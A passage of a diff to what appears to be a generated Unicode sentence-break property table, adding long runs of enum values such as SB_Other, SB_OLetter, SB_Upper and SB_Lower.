+	SB_Other,
+	SB_STerm,
+	SB_OLetter,
+	SB_Extend,
+	SB_Numeric,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_STerm,
+	SB_OLetter,
+	SB_Extend,
+	SB_Format,
+	SB_Other,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_OLetter,
+	SB_Numeric,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_STerm,
+	SB_Other,
+	SB_Format,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Other,
+	SB_Numeric,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Other,
+	SB_SContinue,
+	SB_STerm,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_Format,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_STerm,
+	SB_Numeric,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Numeric,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Numeric,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Close,
+	SB_Extend,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Numeric,
+	SB_STerm,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_Numeric,
+	SB_Extend,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_STerm,
+	SB_Other,
+	SB_STerm,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_STerm,
+	SB_OLetter,
 	SB_Sp,
 	SB_OLetter,
 	SB_Close,
@@ -16676,33 +61645,423 @@
 	SB_OLetter,
 	SB_Extend,
 	SB_OLetter,
+	SB_Extend,
 	SB_Other,
+	SB_Lower,
 	SB_Extend,
 	SB_Other,
+	SB_Extend,
+	SB_Upper,
 	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Other,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Other,
+	SB_Lower,
+	SB_Upper,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_Lower,
+	SB_Upper,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_Lower,
+	SB_Upper,
+	SB_Other,
+	SB_Lower,
+	SB_Upper,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_Lower,
+	SB_Upper,
+	SB_Other,
+	SB_Sp,
+	SB_Format,
 	SB_Extend,
+	SB_Format,
 	SB_Other,
+	SB_SContinue,
+	SB_Other,
+	SB_Close,
+	SB_Other,
+	SB_ATerm,
+	SB_Other,
+	SB_Sep,
+	SB_Format,
+	SB_Sp,
+	SB_Other,
+	SB_Close,
+	SB_Other,
+	SB_STerm,
+	SB_Other,
+	SB_Close,
+	SB_STerm,
+	SB_Other,
+	SB_Sp,
+	SB_Format,
+	SB_Other,
+	SB_Format,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_Close,
+	SB_Lower,
+	SB_Other,
+	SB_Close,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
 	SB_Extend,
+	SB_Other,
 	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
 	SB_Lower,
 	SB_Upper,
 	SB_Lower,
 	SB_Upper,
 	SB_Lower,
+	SB_Other,
 	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
 	SB_Lower,
 	SB_Upper,
 	SB_Lower,
+	SB_OLetter,
+	SB_Lower,
+	SB_Other,
+	SB_Lower,
 	SB_Upper,
+	SB_Other,
+	SB_Upper,
 	SB_Lower,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
 	SB_Upper,
 	SB_Lower,
+	SB_OLetter,
 	SB_Upper,
 	SB_Lower,
+	SB_OLetter,
+	SB_Other,
+	SB_Close,
+	SB_Other,
+	SB_Close,
+	SB_Other,
 	SB_Upper,
 	SB_Lower,
+	SB_Other,
+	SB_Close,
+	SB_Other,
+	SB_Close,
+	SB_Other,
+	SB_Close,
+	SB_Other,
+	SB_Close,
+	SB_Other,
+	SB_Close,
+	SB_Other,
+	SB_Close,
+	SB_Other,
+	SB_Close,
+	SB_Other,
 	SB_Upper,
+	SB_Other,
 	SB_Lower,
+	SB_Other,
 	SB_Upper,
 	SB_Lower,
 	SB_Upper,
@@ -16819,12 +62178,110 @@
 	SB_Lower,
 	SB_Upper,
 	SB_Lower,
+	SB_Other,
 	SB_Upper,
 	SB_Lower,
 	SB_Upper,
 	SB_Lower,
+	SB_Extend,
 	SB_Upper,
 	SB_Lower,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_Close,
+	SB_Other,
+	SB_Close,
+	SB_Other,
+	SB_Close,
+	SB_Other,
+	SB_STerm,
+	SB_OLetter,
+	SB_Other,
+	SB_STerm,
+	SB_Other,
+	SB_Close,
+	SB_Other,
+	SB_Sp,
+	SB_SContinue,
+	SB_STerm,
+	SB_Other,
+	SB_OLetter,
+	SB_Close,
+	SB_Other,
+	SB_Close,
+	SB_Other,
+	SB_Close,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_STerm,
+	SB_OLetter,
+	SB_Other,
+	SB_STerm,
+	SB_OLetter,
+	SB_Numeric,
+	SB_OLetter,
+	SB_Other,
 	SB_Upper,
 	SB_Lower,
 	SB_Upper,
@@ -16871,6 +62328,12 @@
 	SB_Lower,
 	SB_Upper,
 	SB_Lower,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
 	SB_Upper,
 	SB_Lower,
 	SB_Upper,
@@ -16899,6 +62362,16 @@
 	SB_Lower,
 	SB_Upper,
 	SB_Lower,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_STerm,
+	SB_Other,
+	SB_STerm,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
 	SB_Upper,
 	SB_Lower,
 	SB_Upper,
@@ -16933,46 +62406,818 @@
 	SB_Lower,
 	SB_Upper,
 	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_OLetter,
 	SB_Other,
 	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_OLetter,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
 	SB_Other,
+	SB_Upper,
 	SB_Lower,
 	SB_Upper,
 	SB_Lower,
+	SB_Other,
+	SB_OLetter,
+	SB_Lower,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_STerm,
+	SB_Other,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_STerm,
+	SB_Numeric,
+	SB_Other,
+	SB_Extend,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Numeric,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_STerm,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_STerm,
+	SB_Other,
+	SB_OLetter,
+	SB_Numeric,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Numeric,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_STerm,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_STerm,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_Lower,
+	SB_OLetter,
+	SB_Extend,
+	SB_STerm,
+	SB_Extend,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Close,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_SContinue,
+	SB_Other,
+	SB_SContinue,
+	SB_Other,
+	SB_Close,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_SContinue,
+	SB_Other,
+	SB_Close,
+	SB_Other,
+	SB_Close,
+	SB_Other,
+	SB_SContinue,
+	SB_ATerm,
+	SB_Other,
+	SB_SContinue,
+	SB_STerm,
+	SB_SContinue,
+	SB_Close,
+	SB_Other,
+	SB_SContinue,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Format,
+	SB_Other,
+	SB_STerm,
+	SB_Other,
+	SB_Close,
+	SB_Other,
+	SB_SContinue,
+	SB_ATerm,
+	SB_Other,
+	SB_SContinue,
+	SB_Other,
+	SB_STerm,
+	SB_Other,
 	SB_Upper,
+	SB_Close,
+	SB_Other,
+	SB_Close,
+	SB_Other,
 	SB_Lower,
+	SB_Close,
 	SB_Other,
+	SB_Close,
+	SB_Other,
+	SB_Close,
+	SB_STerm,
+	SB_Close,
+	SB_SContinue,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Format,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
 	SB_Upper,
+	SB_Lower,
+	SB_OLetter,
 	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
 	SB_Lower,
 	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_STerm,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
